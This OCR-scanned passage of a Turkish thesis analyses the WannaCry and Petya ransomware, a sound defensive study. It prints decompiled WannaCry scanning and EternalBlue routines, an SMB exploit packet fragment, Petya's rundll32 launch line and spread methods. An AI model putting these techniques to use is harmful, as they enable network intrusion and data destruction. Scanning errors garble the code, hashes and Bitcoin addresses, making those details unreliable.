sonucunda elde edilen veriler yer almaktadir. Incelenen zararli yazilimin hash degerleri
dosyanin orjinalligini gostermek adina verilmistir. Ayrica kullanilan zaafiyete iliskin

bilgiler, etkilenen sistemlerde detayli olarak verilmistir.
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SHA256 degeri: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5habe8e080e41aa

MD5 Hash degeri: 84c82835a5d21bbcf75a61706d8ab549

Dosya Tipi: Win32.exe

Kullandig1 exploit: ETERNALBLUE

Dosya boyutu: 3,5 MB (3,514,368 bytes)

Yayilmaya baslama tarihi: 11 Mayis 2017

Hedef alian sistem: SMB V1.0 kullanilan Microsoft isletim sistemleri

e Windows XP

e Microsoft Windows Vista SP2

e Windows 7

e Windows 8.1

e Windows RT 8.1

e Windows 10

e Windows Server 2008 SP2 ve R2 SP1
e Windows Server 2012 ve R2

e Windows Server 2016

4.2.2. Sifreleme bilgileri

WannaCry saldirisinda kullanilan sifreleme yaklasimlar1 agagidaki gibidir.
e AES-128-CBC

e AES anahtar1 CSPRNG ile iiretilmistir. (CryptGenRandom)

e AES anahtar1 RSA-2048 ile sifrelenmistir. (RSA)

4.2.3. Fidye toplamak i¢in kullamlan kaynaklar (Bitcoin)

Bitcoin, yenicagin sanal para birimi olarak goriilmektedir. 10 yil kadar 6nce Satoshi

Nakamato tarafindan ortaya ¢ikarilan; ancak o giinlerde degeri pek anlagilmayan Bitcoin, su
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an hemen hemen tiim diinyada kabul goren bir sanal para birimi olma 6zelligi tasimaktadir.
Asagida detaylari verilen bitcoin adresleri tizerinden saldirganlarin fidyeleri topladigi ve bu
sayede izlerinin bulunmasinin zorlastig1 anlasilmaktadir. Bu bitcoin adresleri iizerinden
aldiklart tcretleri izlenemez hale getirip tahsil ettikleri degerlendirilmektedir. Bitcoin
yapisinda Chain yapisinin kullanilarak paranin farkli hesaplara parcalanarak gonderildigi
sonra tamamen alakasiz bir hesapta tekrar toplandigi bilinmektedir. Boylelikle iz siirilmesi

cok daha fazla zorlastirilmaktadir.

e https://blockchain.info/address/13AM4VW2dhxY gXeQepoHkHSQuy6NgaEbh94
e https://blockchain.info/address/12t9Y DPgwueZ9NyMgw519p7AA8isjreSMw
e https://blockchain.info/address/115p7UMMngojlpMvkpHijcRAfINXj6LrLn

4.2.4. Zararh fidye yazilhminin goriildiigii dosya uzantilari

WannaCry saldirisinda kullanilan zararli fidye yazilimlarinin bir¢ok farkli dosya formatinda
etkin hale geldigi goriilmiistiir. Asagida listelenen uzantilardaki dosyalarda zararli yazilimin

calisip sifreleme yaptigi tespit edilmistir.

.doc, .docx, .xls, .xIsx, .ppt, .pptx, .pst, .ost, .msg, .eml, .vsd, .vsdx, .txt, .csv, .rtf, .123, .wks,
.wk1, .pdf, .dwg, .onetoc2, .snt, .jpeg, .jpg, .docb, .docm, .dot, .dotm, .dotx, .xIsm, .xlsb, .xlw,
Xlt, xIm, xlc, xlItx, .xItm, .pptm, .pot, .pps, .ppsm, .ppsX, .ppam, .potx, .potm, .edb, .hwp,
602, .sxi, .sti, .sldx, .sldm, .sldm, .vdi, .vmdk, .vmx, .gpg, .aes, .ARC, .PAQ, .bz2, .tbk, .bak,
tar, .tgz, .0z, .7z, .rar, .zip, .backup, .iso, .vcd, .omp, .png, .gif, .raw, .cgm, .tif, .tiff, .nef, .psd,
ai, .svg, .djvu, .m4u, .m3u, .mid, .wma, .flv, .3g2, .mKkv, .3gp, .mp4, .mov, .avi, .asf, .mpeg,
.vob, .mpg, .wmv, .fla, .swf, .wav, .mp3, .sh, .class, .jar, .java, .rb, .asp, .php, .jsp, .brd, .sch,
.dch, .dip, .pl, .vb, .vbs, .psi, .bat, .cmd, .js, .asm, .h, .pas, .cpp, .c, .cs, .suo, .sin, .Idf, .mdf,
ibd, .myi, .myd, .frm, .odb, .dbf, .db, .mdb, .accdb, .sql, .sglitedb, .sqlite3, .asc, .lay6, .lay,
.mml, .sxm, .otg, .0dg, .uop, .std, .sxd, .otp, .odp, .wb2, .slk, .dif, .stc, .sxc, .ots, .ods, .3dm,

.max, .3ds, .uot, .stw, .sxw, .ott, .odt, .pem, .p12, .csr, .crt, .key, .pfx, .der


https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
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4.2.5. Zararh fidye yazihminin dosya isimleri

WannaCry saldirisinda kullanilan zararli kod igeren yazilimlarin sisteme yiiklenirken
kullanilan dosya isimleri gergeklestirilen analiz ¢alismalar1 neticesinde elde edilmis olup

asagida yer almaktadir.

o EHEAEMHIEXE
e Busywin 17.XX Universal Patch.EXE

e A=A 33.EXE

o ed0lebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e4 1aa.exe

e 670606

e WannaCry02

e WCry.exe

e WannaCry.exe

e Pentagon-RAT.EXE

e tasksche.exe

e Win32Filecoder.WannaCryptor.D

e WannaCryptOr.exel

e wanna2.0.exe

e WannaCry-2.0.exe

e WCry2.exe

o WannaCryedO1ebfbc9eb5bbea545af4d01bf5f107166184048043906e5babe8e080e41aa.b
. Lo

o fun.exe

e sigscrill app.EXE

e Ransom Wcry.exe

e domsday.EXE

e ed0lebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5habe8e080e41aa.bin

o CYBERedOlebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5habe8e080e41aa.exe

e svchost.exe
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4.3. WannaCry Saldir1 Yaklasimi

WannaCry fidye yazilimi, bir¢ok fidye yazilimi gibi hedef sisteme bulastiktan sonra dnemli
dosyalari sifreleyerek fidye isteme amaci ile saldirt gergeklestirir. Diger fidye yazilimlarindan
farkl1 olan saldir1 sekli, SMB zaafiyetini kullanarak ETERNALBLUE somiiriiciisii ile hedef
sistemde dosya sifrelemektedir. Calisma seklini komuta&kontrol sunucusuna canli baglanti
ile gergeklestirmektedir. Komuta&kontrol (C&C) sunucusu ile iletisim kurmak i¢in kullanilan
“TOR .onion” adreslerinin bir listesini ve resmi bir TOR tarayici paketinin linkini WannaCry
zararli yazilimi kod igerisinde bulundurur. Diger fidye yazilimlar1 gibi offline olarak

calistirilabilmektedir.

Zararl yazilimin ¢alisma sekli ise; Calisma siirecinde aktif hale gelen kod (fonksiyon) islevi
ve bu islemin zararh yazilim bakisi ile neye tekabiil ettiginin anlatilmasi adimi olarak iki ana

baslikta anlatilmaktadir.

Mevcut ag ilizerinde sigrama ve yayilma sekli SMB servisi (445. ve 139. Portlar) ile
gerceklesmektedir. Zararli fidye yazilimi calistirildiginda ilk olarak WinMain executable't
yluriiterek komuta kontrol sunucusu oniindeki ara sunucuya baglanmaya g¢aligmaktadir.
Buradan herhangi bir dosya ¢ekmemekte, sadece baglant1 kontrolii saglamaktadir. Bu zararl
yazilimin ¢alismasini engelleyecek bir “kill switch” teknigidir. Baglant1 saglandigi takdirde
zararli yazilm ¢alismay1 durdurmaktadir. Baglanti saglanmadig takdirde c¢alismaya devam

etmektedir.
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int _ stdcall WinMain{HINSTANCE hInstance, HINSTANCE hPrewInstance, LPSTR lpCmdLine, int nShowCmd)
{
void =ukh; /f esi@i
void =u5; /f edi@i
int result; // eax@?
CHAR szUr1[6@]; // [esp+2h] [ebp-58h]E1
int v8; // [esp+i5h] [ebp-13h]E1
int v9; // [esp+49h] [ebp-Fh]E@1
int v18; // [esp+4Dh] [ebp-Bh]E1
int v11; /7 [esp+51h] [ebp-7h]E1
__int16 v12; // [esp+55h] [ebp-3h]@1
char v13; /7 [esp+57h] [ebp-1h]@1

qmemcpy{szUrl, url_string, Bx39u};
*{_DWORD =)&szUr1[57] = B;

ug = B3
vl = B8;
vl = @;
uil = 8;
uiz = 8;
uld = B;

vl = InternetOpena{@d, 1u, B, 8, B8);
vt = InternetDpenllrlAf{vh, szUrl, @, @, B:<B4A00088, 8);
if ( us )
{
InternetCloseHandle{ul});
InternetCloseHandle{uv5});
result = 8;
H
else
{
InternetCloseHandle{ul});
InternetCloseHandle{8);
Real_main{};
result = B8;
H

return result;

Resim 4.2. Ara sunucuya baglanma kodu

Zararl fidye yaziliminin yayilim iglevleri "mssecsvc2.0" (Microsoft Security Center Service)
servis derleyicisinin kontroliindedir. Bu servisin islevi, WSA fonksiyonunu baglatma ve
sifreleme fonksiyonunu baglatma olarak ikiye ayrilir. WSA fonksiyonu, ozellikle SMB
kullanimi i¢in iki is pargacig iiretir; biri i¢ hedefleri enfekte etmek icin digeri dis hedefleri

etkilemek igindir.

WSAStartup() fonksiyonunu zararli yazilimin iki is pargaciginin ¢agirildigi fonksiyondur.
WSAStartup calistiktan sonra CryptAcquireContext() fonksiyonunu ¢alistirip crypto API'sini
baglatmaktadir ki bu sayede sozde-rastlantisal numara tretici fonksiyon devreye
girebilmektedir. Bundan sonra ¢agirdigi fonksiyon ise fidye yazilimimin payload dll
dosyalarin1 saklamak i¢in tampon bellek olusturmaktadir, bu dll'lerin birisi x64 sistemler i¢in,
digeri ise x86 sistemler icin kullanilmaktadir. Bu fonksiyon payload dll'lerini, zararh
yazilimlarin i¢inde bulunan “.data” igerisindeki alandan ¢ekip kopyaladiktan sonra tiim zararl

binary'sini de kopyalamaktadir (Resim 4.2.).
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do
{
payload ptr = &DLL_payload_x86;
if ( v )
payload ptr = &DLL_payload_x64;
payload_creation = *(DWORD xx)&FileName[4 »* u1 + 260];
(&payloads)[v1] = payload_creation;
qmemcpy(payload creation, payload ptr, vl *= 8 ? OxC8A4 : Bx4060);

(&payloads)[u1] = (DWORD =){(char =)(&payloads)[uvi1] + (vl = 0 ? OxXC8A4 : Ox4060));

++U1;

b
while ( v1 < 2 );

vl =

CreateFileA(FileName, 0x806000000, 1u, 6, 3u, 4u, 0);

uS = uh;
if ( u4 == (HANDLE)-1 )
GlobalFree(*(HGLOBAL *)&FileName[268]);
GlobalFree(*(HGLOBAL *)&FileName[264]);
result = 0;
b
else
{
v6 = GetFileSize(uv4, 8);
v7 = payloads;
u8 = ub;
v9 = payloads + 1;
*payloads = v6;
ReadFile(v5, v9, u6, &NumberOfBytesRead, 8);
if ( NumberOfBytesRead == u8 )
{
qmemcpy(uiy’ u7, u8 + u);
CloseHandle(u5);
result = (HGLOBAL)1;
»

Resim 4.3. Payload dll'lerinin ¢ekilip kopyalanmasi

Kopyalanan her dll dosyalarinin boyutlar1 olduk¢a kiigiiktiir, zararl fidye yaziliminin binary

kodu mevcut harddiske C:\WINDOWS\mssecsvc.exe olarak kendini
calismaktadir.

text:106861114 public PlayGame

-text:1808681114 PlayGame proc near ; DATA XREF: _rdata:off_108821B8Jo
.text:18001114 push offset ablssecsuc_exe ; “'mssecsuc.exe’
-text:18801119 push offset allindows ; "WINDOWS™

-text:18881141E push offset Format HE HARE ARt 4
text:10861123 push offset payload drop_location ; Dest
text:106861128 call ds:sprintf

text:1880112E add esp, 16h

-text:1808681131 call drop_payload_from_resources

-text:180801136 call execute _payload

-text:1880113B zor eax, eax

-text:1888113D retn

.text:18868113D0 PlayGame endp

Resim 4.4. Fidye yaziliminin kendini kopyalamasi

kopyalayip

Zararli fidye yazilimi kendini tamamiyle kopyaladiktan sonra mevcut iki fonksiyonu

calistirmaktadir. Bunlardan ilki yerel ag lizerindeki sistemleri taramaktadir, digeri ise internet

tizerinden tarama yapmaktadir. Lokal ag tizerinde tarama yapmak igin GetAdaptersinfo ()
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fonksiyonu kullanilmaktadir . Bu fonksiyon ile lokal ag iizerindeki IP araliklarinin listesi

kopyalanir, her bir IP adresi i¢in yeni bir dizi yaratilir.

SizePointer = A;
if ( GetadaptersInfo{@, &SizePointer) *= ERROR_BUFFER_OUERFLOW )
return 8;
if { tSizePointer )
return 8;
fAdaptorInfo = {struct IP ADAPTER_INFO =)LocalAlloc({@, SizePointer);
hiem = AdaptorInfo;
if ( tAdaptoriInfo )
return A;
if { GetadaptersInfo{fdaptorinfo, &SizePointer}) )
{
LocalFree{fidaptorInfo);
return 8;

H

Resim 4.5. IP araliklariin listesinin kopyalanmasi

Lokal ag iizerinden yaptig1 taramalarda ayni anda birden fazla IP'yi kontrol edebilir fakat

giivenlik duvarina yakalanmamak i¢in ayn1 anda 10 IP’ye kadar paralel tarama yapmaktadir.

for { 1 = @B; ; ++1i )

1
vl = uvid;
if § tudd || 1 >= {(vi1 - {signed int)uiB) >> 2 )
break ;
if ( ={ DWORD =)&FileHame[268] > 18 )}
{
do

Sleep({188u};
while { ={ DWORD =)&FileHame[268] > 18 );
vl = uvil;
y
v? = (void =)beginthreadex{(8, @, scan_IP, vi[i], 8, 8);
if { vz )
{ - ]
InterlockedIncrement{{volatile LOHG =*=}&F1leHame[268]});
CloseHandle{uZ?});

’
31leep(58u};

j

Resim 4.6. Paralel tarama

Taramay1 gerceklestiren fonksiyon taradigi sistemler {izerinde 445'inci port'u kontrol

etmektedir, Eger port acik ise ikinci bir fonksiyon devreye girip MS17-010/EternalBlue
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zaafiyetini tetiklemeye calismaktadir. MS17-010 Microsoft’un ilgili giivenlik bilteni,
EternalBlue ise bu giivenlik acigimin exploitidir. EternalBlue’nun caligma mantig1r su
sekildedir; SMB kendi aktarim mekanizmasini1 kullanarak, bir SMB istemcisi ve sunucu
arasinda atomik okuma ve yazma gerceklestirilebilir. Ileti istegi SMB/MaxBufferSize'dan
biiyiik ise iletiler ikincil “Trans2” ileti olarak gonderilir. Bu giivenlik acig1, srv2.sys c¢ekirdek

stiriiciisiinii etkiler ve hatali bigimlendirilmis ikincil “Trans2” iletileri ile tetikler.

Bahsi gegen fonksiyon eger zaafiyet tetikleme asamasi 10 dakika igerisinde bitmez ise zararli

fidye yazilim1 Resim 4.7°deki gibi saldiriyr durdurmaktadir.

imt cdecl scan IP{int a1)

{
vold =ui; f/) eax@E?
void =y2; ff esi@?
if { can_connect_to_port_445(al) > 8 )
{
ul = (uwoid =)beginthreadex{@, 8, M317_ 816 _attempt_pwn_thread, ail, @, @);
Uz = .|';
if { vl )
{
if ( HaitForSingleObject{ui, 680080u) == WAIT_TIHEOUT )
TerminateThread{v?, B);
CloseHandle{w2);
H
H

Interlockedbecrement{{uolatile LONG =)&FileName[268]);
endthreadex(@);
return B8;

Resim 4.7. Zararl fidye yaziliminin durdurulmasi

Internet iizerinde tarama yapan fonksiyon rastgele IP adreslerini kontrol etmektedir, sisteme
yiiklenen s6zde-rastlantisal numara iireteci fonksiyon ile bu IP'ler random {iretilmektedir.
Rastgele iiretilen IP'nin 445'inci portuna yapilan baglanti talebi basarili olursa IP'nin
bulundugu araliklar taranmaktadir. Resim 4.8’de verilen kod ile gosterildigi gibi bu

taleplerinde 445'inci port agik ise exploit girisimleri yapilmaktadir.



1lp octet 1 = uZi;
while { 1 }

pooctet 3 = get_random_byte{ur) % 0xFFu;
p_octet & = get_random_bytef{uvoid =)@xFF);

U12 = dinet_adde(&0est);
if { can_connect_to_port_445{u1Z) > 0 )
breal;
IF_SCAH_LODP:
Sleep( Bxdbu);
H

{
1F { GetTickCount{) - GetTickCount rFesult > 2500000 )
iy = 1;
if { GetTickCount{) = GetTickCount result > 1200000 )
wigE = '1;
if  tull )
break ;
iF ¢ a1l »= 32 )
break;
# = get_random_byte{vi);
pf = (uoid =}255;
i:l octelt 1 = H 1 ﬂxFF;
H
while { vBE % BxFF == 427 || ip_octet_1 »= 224 };
ifF [ vi8 B&R a1 € 32 )
{
9 = get_random_byte{vr?);
¥ = (uold =)255;
ip_octet_2 = w@ ¥ BxFF;
H

'.||I'i||'||{fg|||' . dn_[]_[l_nl 1p oictel 1. i_l actet 2, 1p ocl

da #F initial First octet seems to come From a stack infoleakT?

I % BRFF);

Resim 4.8. Exploit girisimi

4.3.1. WannaCry fidye yazihhminda kullanilan “MS17 010 giivenlik agigimin teknik

detaylar

MS17 010, Microsoft'un SMB versiyon 1.0 servisinin zaafiyetine karsilik yaymlanan
giivenlik biiltenidir. “MS” ibaresi Microsoft’u “17” ibaresi 2017 yilin1 ve “010” ibaresi ise
yaymlanan giivenlik ag¢iginin numarasin1 tanimlamaktadir. Basarili olarak tetiklenmesi
sonucunda “uzaktan komut ¢alistirma” gergeklesir. Tetikleyen, hedef sistem iizerinde istedigi
kodu caligtirabilme yetkisine sahip olur. Resim 4.9’da anlatildigi tizere ileti istegi

SMB/MaxBufferSize'dan biiyiik ise iletiler ikincil “Trans2” ileti olarak gonderilir. Bu
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durumda “buffer” tasirilarak zaafiyetin gerceklestirilecegi alan olan trans2 iletim alanina

zararli istek yazilir ve iletim saglanir.
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session_setup_andx_request = [

"\xep', # Word Count
"\xFE', # AndXCommand: No further command
"\xee', # Reserved
160 "\xBENXEO ', # AndX0ffset
"xDFWXFF', # Max Buffer
"AxB2h\xE0 ', # Max Mpx Count
Pax@ihxee ', # VC Number
'AxBEAXEENKBONKBE ',  # Session Key
TxBENxEe ', # ANSI Password Length
"\x0eN\XE0', # Unicode Password Length
"ANREENXEENKEONXER ',  # Reserved
U4BNxBEARBEN\KEO ', # Capabilities
"\x26\x00', # Byte Count
"\xee', # Account
"hx2ehxBe', # Primary Domain
"ABTAXBI B BB TARTTART 320032030 x 30N x 30 x 20\ x 32\ x31\x 39\ x35\x00 ', # Native 05: Windows 2000 2195
NRETAKED KB\ KEA KB T AR T TR T 3201 320 30\ x 30 x 30\ X 20N\ x 35\ x2e\x 30\ k00 ', # Native 0S: Windows 2000 5.0

Resim 4.9. Zararli istegin yazilip iletiminin yapilmasina bir 6rnek

Oturum_setup andx request ile “Max buffer” boyutu tasirilarak iletime trans2 request ile
devam edilir (Resim 4.10).

def trans2_request(treeid, processid, userid, multiplex_id):
""Generate trans2 request.
log.debug("generate tran2 reguest™)
nethios = [
"wx0e', # 'Message_Type'
R ACIOAN e TEAN ) # 'Length'

Resim 4.10. iletime trans2_request ile devam edilmesi

4.3.2. WannaCry saldirisina ait imzalar ve snort kurallar

WannaCry saldirisi zararlt yaziliminin bulundugu agdaki hareketlerini (Zararl Fidye Yazilim
— Hedef) tamimlayan snort kurallar1 Resim 4.11°de numaralari, davraniglar ve imza igerikleri

ile birlikte verilmistir (Resim 4.11).

Snort Kural Numaralari: 42340, 41978
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WannaCry
Zararli Fidye Yazilimi

Hedef

[ID 42340)
'I':SMB ........................... >
Lvis st

[ID 41978]
ERFRAIBIGE ] eremowermesmmmensns >
(exploit) TS T 15n T
AN . .
frrimaiasarii e

Resim 4.11. Snort numaralari

o |D 42340 zararh fidye yaziliminin hedef ile etkilesiminin bagarili oldugu kural numarasini
belirtmektedir.
o ID 41978 zararl fidye yazilimi ve hedef arasinda karsilikli tepki ile etkilesiminin devam

ettigi kural numarasini belirtmektedir.
4.4. WannaCry Sifreleme Yapisi

Zararli yazilmin bulasti@i her sistem kendi RSA 2048 bit anahtarmi1 CryptGenKey ile
tiretmektedir. Iki tiir anahtar iiretilmektedir; genel anahtar ve 6zel anahtar. Genel anahtar
CryptExportKey() kullanarak 00000000.pky dosyasinda tutulmaktadir. Ozel anahtar ise
00000000.eky dosyasinda tutulmaktadir. CryptExportKey() fonksiyonu ile sifrelenen ama
ayn1 zamanda CryptEncrypt ile daha 6nceden sifrelenen dosya, disk sifrelemeden sorumlu dll

dosyasinda tutulmaktadir.
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]
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]

printf ("“‘n [ gen ing R key
/{ acguire a crypto provider context
if (CrypthcguireContext (&prov,
NULL, MS ENH RSAL AES PROV, PROV_RSA LES,
CRYPT VERIFYCONTEXT)) ;

printf ("\n [ acguired crypto provider");

// generate 2048-bit RSA key pailr

if (CryptGenFey (prowv, AT EEYEXCHRNGE,
(WC_RSA KEY LEN << 16) | CRYPT EXPORTABLE, &key))

{

!/ export the public key as blcob

printf ("\n [ exporting

export rsa key(prov, v", PUBLICEEYELCE, FALSE):;

// export the private key as blcb

printf ("\n [ exporting private key");

export_rsa key(prov, key, "00000000.dky", PRIVATEEEYBLOB, FALSE);
// export the priwvate key (encrypted with ransomware public key)
printf ("\n [ exporting priwvate key (encrypted)™);
export rsa key(prov, key, "00000000.=ky", PRIVATEREYELCE, TRUE) ;

CryptDestroyEey (kevy) ;

}
CryptReleaseContext (prov, ) ;:

}

Resim 4.12. Sifrelenen dosyanin dll dosyasinda tutulmasi

AES anahtar kullanicilarin genel anahtar ile sifrelenir ve “AES ciphertext” alaninda tutulur.

AES anahtarin1 ¢6zmenin tek yolu, 6zel anahtar1 bulmaktir.

4.4.1. WannacCry ile sifrelenen dosyanmin ¢oziimii

WannaCry fidye zararlisi 6nemli dosyalar sifreledikten sonra sifreleme anahtarlarini
silmektedir. Bu anahtarlar olmadan, sifrelenmis dosyalarin sifresi ¢oziilemez. Ancak bu
sirecte erken davranilirsa kurtarma gergeklesebilmektedir. Rastgele olarak {iretilen anahtarlar
silinmis olsa da, bu sifreleme anahtarlarin1 yeniden olusturmak i¢in kullanilan asal sayilar,
sisteminiz yeniden baslatincaya kadar sistem belleginden yani RAM’den silinmez. Ancak,
zararli yazilim bulastiktan sonra sisteminizi yeniden bagslatirsaniz bu sans ortadan

kalkmaktadir.



55

Zararlt yazilim bulastiktan sonra ekrana gelen mesajda, fidyenin 6denmesi ile anahtarin
verilecegi bilinsede, yapilan uyarilara gore fidye 6denmemelidir. Bunun sebebi saldiriyi

diizenleyenlerin iletisim yollarinin kapatilmasi veya engellenmesidir.

WannaCry yazilimina yonelik gergeklestirilen static ve dinamik analiz neticesinde elde edilen
veriler tezin bu boliimiinde aktarilmis olup Petya fidye yazilimi i¢in ayn1 islemler uygulanmis

ve sonuclar 5. Boliimde verilmistir.
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5. PETYA FiDYE YAZILIMI

Petya fidye yazilimi1 WannaCry kadar kritik &neme sahip olarak goriilmese de etkiledigi sistem
sayis1 ve getirdigi yeni yaklagimlar nedeniyle olduk¢a 6nemli goriilmektedir. Bu boliimde

Petya fidye yazilimmin dinamik ve statik analiz sonuglarina yer verilmistir.

5.1. Petya

27 Haziran 2017 giinii Avrupa'da yayilmaya baslayan fidye yazilimi, Ukrayna kaynakli
baslayarak, agirlikli olarak Belgika, Brazil, Almanya, Rusya ve A. B. D.'nin de dahil oldugu
64 farkl iilkede goriilmiistiir. Petya / Mischa / Petwrap / GoldenEye familyasina ait oldugu
bilinen en giincel Petya fidye yazilimi solucan (worm) kapasitesine sahip oldugundan

sicranan aglar arasinda dolagabilmektedir.

“Ransom:Win32/Petya” imzali zararl program ile benzer kodlara sahip oldugu anlasildiktan
sonra Petya'nin yeni bir varyasyonu oldugu tespit edilmistir. Ancak bu yeni varyasyon daha

sofistike bir fidye yazilimi oldugunu kanitlamistir.

5.2. Petya Fidye Yazilinm Incelemesi

Bu boliimde Petya fidye yaziliminin imza / bi¢im bilgileri, yayilma siireci, tespit edilebilir

imza davranislar ve sifreleme aksiyonlari ile alakali teknik bilgilerden bahsedilecektir.

5.2.1. Zararh dosya bilgileri

Petya zararl fidye yaziliminin dosya bilgileri agagida verilmistir.

SHA256 Hash degeri:

027cc450ef5f8¢5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745

MD5 Hash degeri: da2b0b17905e8afae0eaca35e831be9e

Dosya boyutu: 353.9 KB
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Yayilmaya baglama tarihi: 27.06.2017

Bazi antivirus firmalarmin isimlendirmeleri:

e Trojan.Ransom.Goldeneye.B
e Trojan.Ransom.Petya

e Win32/Diskcoder.C

e Win32/Petya

Hedef al:nan sistem: Intel 386 ve sonraki islemcileri kullanan Windows

isletim sistemleri.

Dosya uzantisi: DLL (Win32 DLL)

Incelenin dosyanin derlenme tarihi: 18.06.2017

Kullandigi (Import) DLL dosyalari:

e ADVAPI32.dIl
CRYPT32.dlI
e« DHCPSAPLdII
e IPHLPAPLdII
e KERNEL32.dII
e MPR.JII

e NETAPI32.dIl
e SHELL32.dII
e SHLWAPILdII
e USER32.dII
o WS2 32.dIl

e msvcrt.dll
e OLE32.dll
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5.3. Petya Saldir1 Yaklasim

Petya saldirisinda kullanilan yaklagim ve haberlesme sekli detayli olarak bu alt baslik altinda

incelenmistir
5.3.1. fletim

Ik etapta bilinen bir Microsoft Office zaafiyetini kullanarak sistemi ele geciren zararli
macrolu bir Excel dosyasi ile bulagmis oldugu diisiiniilen en yeni Petya siiriimii, yapilan en
son incelemeleri takiben Ukrayna kaynakli olan sigrama siirecinin bir yazilim tedarik-zinciri

kaynakl1 oldugu tespit edilmistir.

Ukrayna merkezli bir firmanin gelistirmis oldugu vergi muhasebesi programina (MEDoc
olarak bilinmektedir) ait bir yazilim glincelleme siirecinde zararli program (bilindigi hali ile
Petya v2) olan fidye yazilimini kullanici bilgisayarina yaymlayarak siireci Ukrayna'dan
baslatmistir. MEDoc yaziliminin, Ukrayna'da bulunan tiim ¢alisma sahalarinda ve ofislerde
zorunlu olarak kurulu oldugu bilinmektedir. Vergi yonetimini kolaylastirmak adina bdyle
bir regililasyonun oldugu tahmin edilmektedir. Olayla alakali MEDoc firmasi "Sunucularimiz
bir viriis saldirisinda bulunmustur. Verdigimiz rahatsizliktan dolay1 6ziir dileriz." seklinde

bir agiklamada bulunmus ancak olayimn yayilmasi ardindan agiklamay1 geri cekmislerdir.

Birbirinden ayr1 aglar bile olsa bu tedarik-zinciri talebi ile dncel olarak aglara yerlesebilen
malware, worm 6zelligini kullanarak bilinen zaafiyetle (MS17-010, token taklidi, hesap ele
gecirme vb.) ulasabildigi kadar aga ulasmis ve bunun sonucunda diinya iizerinde 64 iilke
etkilenmistir. Bu basar1 aglarda ETERNALBLUE exploitine kars1 hala patchlenmemis ¢ok

sayida sistemin bulundugunu gostermektedir.
5.3.2. Kurulum

MEDoc yazilimi giincelleme isleminin (EzVit.exe), 27 Haziran Sali giinii Petya saldiri

basamaklarinda gegen zararl bir komut istemi satir1 calistirdigi tespit edilmistir.
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C:\\Windows\\system32\\rundl132.exe\”
\”C:\\ProgramData\\perfc.dat\”,#1 30

Sekil 5.1. Zararli bir komut istemi satir1

Fidye yaziliminin kurulumu ile sonlanan islem agaci, MEDoc'un “EzVit.exe” isleminin bu

komutu c¢alistirmis oldugunu kanitlar niteliktedir.

"explorer.exe"

CommandLine = “C:\\Windows\\Explorer. EXE":
Pracessld = 5760;

"ezvit.exe"

CommandLine = "C:\\ProgramData\\MedocIS\\MedoclSy\eavit.exel"
Processid = 6020;
ParentProcessld = 5760;

"rundli32.exe" "UniCryptC.exe"
CommandLine = "C:\\Windowsh\system32\\rundll32.exe\" CommandLine = "C:\\Users\\[REMOVED]\\AppData‘\Local\\Temp\\
\'C\\ProgramData'\perfc.dat\, #1 30°; [SOME_GUID]Y &4\ \UniCryptC.exe\" -GUID:{SOME_GUID}";
Processid = 5796; Pracessld = 7735;
ParentProcessld = 6020; ParentPracessld = 6020;

Sekil 5.2. MEDoc yaziliminin giincelleme (EzVit.exe) islem agaci

5.3.3. Yayilma metodlari

Bilinen fidye yazilimlarindan daha sofistike oldugunu kanitlayan Petya zararli yaziliminin

ozelliklerinden biri de fazla yayilma metodu ve yayilma kapasitesi kullanmasidir.

Bu Teknikler:
e Hesap bilgileri ¢calma ya da sistem tizerindeki aktif oturumlari taklit etme
e Yanlis konfigiirasyonlu ve ayn1 agda bulunan dosya paylasimlarina transfer yontemi

e Hali hazirda exploitleri bulunan SMB zaafiyetleri
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Mimikatz benzeri hem 32 hem 64 bitlik varyasyonlarda gelen bir hesap bilgileri dokiim araci
(credential dumping tool) kullanildigr goriilmiistiir. Genelde sistemlerde oturumu
kullanicilar tarafindan aktif birakilmis admin yetkili hesaplar bulunmasmin kolay
olmasindan dolayr bu tarz araglar herhangi bir exploit ile girilen Windows isletim
sistemlerindeki hesap bilgilerini kullanarak ag iizerinde daha fazla makineye sigramay1
hedeflemektedir.

Dogru hesap bilgilerini bulduktan sonra yerel aglar1 tcp/139 ve tcp/445 portlar igin
taramaktadir. Tespit edilen makinelere ele gegirilen hesap bilgileri ile gerceklestirilen saldir
baslangicinda bilindik dosya-iletim teknikleri ile kurban makineye bir binary dosyasi
kopyalamaktadir. Daha sonra psexec ya da wmic gibi semi-native ve native araglar

kullanilarak uzaktaki sistemde kod ¢alistirmay1 hedeflemektedir.

Sekil 5.3. Uzaktaki sistemde kod calistirilmasi

Fidye yazilim1 uzak paylasimlari bulmak i¢in Windows Management Instrumentation
Command-line'mn (WMIC) NetEnum ya da NetAdd gibi fonksiyonlarini kullanarak kendisini
ortak paylasim alanina kopyalayabilmektedir.

Herkese agik olmayan paylasimlara erisim saglayabilmek adina da ele gegirilmis hesap
bilgilerini kullanir ya da ele gegirilmis sistemde giris yapmis kullanicilar, tokenlar ile taklit

edilerek dosya paylagimlarina ulasabilmektedir.
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&FileName, (LPCVOID)dword_1001FOFC, 1u) )

Sekil 5.4. Herkese ac¢ik olmayan dosyalara erisim saglayabilme

Bir bagka sigcrama opsiyonu da Windows iirlinlerinde yakin zamanda ortaya ¢ikan birden
fazla SMB zaafiyetini istismar ederek ag iizerinde yayilmaya c¢alismaktir. CVE-2017-0144
ve CVE-2017-0145 kodlu MS17-010 bullet'ine ait olan zaafiyetler (sirasiyla EternalBlue ve
EternalRomance olarak da bilinmektedir.) Microsoft Vista SP2, Windows Server 2008 SP2
ve R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold ve R2, Windows
RT 8.1 ve Windows 10 Gold iiriinlerini etkilemektedir.

Shadowbrokers tarafindan 14 Nisan 2017 tarihinde NSA tarafindan kullanildig: iddia edilen
fuzzbunch isimli bir hack framework'ii yayimlanmis ve bu framework'e dahil istismar kodlar1
arasinda MS17- 010'u tetikleyebilen EternalBlue ve EternalRomance isimli iki adet istismar
kodu da oldugu goriilmiistiir. Fidye yazilimi bu kodlar1 igermekte ve zaafiyetli sistem tespit

ettiginde bunlar1 kullanarak sisteme sigramaktadir.

Bu SMB zaafiyetinin etkiledigi tiim siiriimleri i¢in istismar kodu bu yayinlanan altyapida
bulunmamakla birlikte EternalBlue ile Windows 7 SP1 ve Windows 2008 R2 SP1,
